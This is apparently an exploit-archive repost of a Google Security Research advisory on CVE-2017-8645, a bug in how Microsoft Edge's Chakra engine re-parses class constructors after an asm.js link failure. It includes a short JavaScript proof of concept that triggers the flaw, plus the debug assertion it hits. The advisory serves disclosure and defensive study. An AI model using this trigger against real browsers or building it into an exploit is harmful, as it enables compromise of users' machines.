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Microsoft Edge Charka Failed Re-Parse

Microsoft Edge Charka Failed Re-Parse
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

InterpreterStackFrame::ProcessLinkFailedAsmJsModule in Microsoft Edge Chakra incorrectly re-parses.

tags | exploit
advisories | CVE-2017-8645
MD5 | 65e0073a3d3deddfb8c73ca0f7f0cf9a

Microsoft Edge Charka Failed Re-Parse

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 Microsoft Edge: Chakra: InterpreterStackFrame::ProcessLinkFailedAsmJsModule incorrectly re-parses 

CVE-2017-8645


When Chakra fails to link an asmjs module, it tries to re-parse the failed-to-link asmjs function to treat it as a normal javascript function. But it incorrectly handles the case where the function is a class. It starts to parse from the start of the class declaration instead of the constructor. So it may result in binding incorrect information to the constructor. In the PoC, it binds the information of the method "f"("f2" in the latest release version of Edge) to the constructor.

The PoC hits the following assertion in the debug build.
FuncInfo * ByteCodeGenerator::StartBindFunction(const char16 *name, uint nameLength, uint shortNameOffset, bool* pfuncExprWithName, ParseNode *pnode, Js::ParseableFunctionInfo * reuseNestedFunc)
{
bool funcExprWithName;
Js::ParseableFunctionInfo* parseableFunctionInfo = nullptr;

Js::AutoRestoreFunctionInfo autoRestoreFunctionInfo(reuseNestedFunc, reuseNestedFunc ? reuseNestedFunc->GetOriginalEntryPoint() : nullptr);

if (this->pCurrentFunction &&
this->pCurrentFunction->IsFunctionParsed())
{
Assert(this->pCurrentFunction->StartInDocument() == pnode->ichMin); <<------- here
...
}
...
}

"this->pCurrentFunction" is the consturctor, but "pnode" refers to the method "f".


PoC:
class MyClass {
f(a) {
print(a);
}

constructor() {
'use asm';
function f(v) {
v = v | 0;
return v | 0;
}
return f;
}

f2(a) {
print(a);
}
}

MyClass(1);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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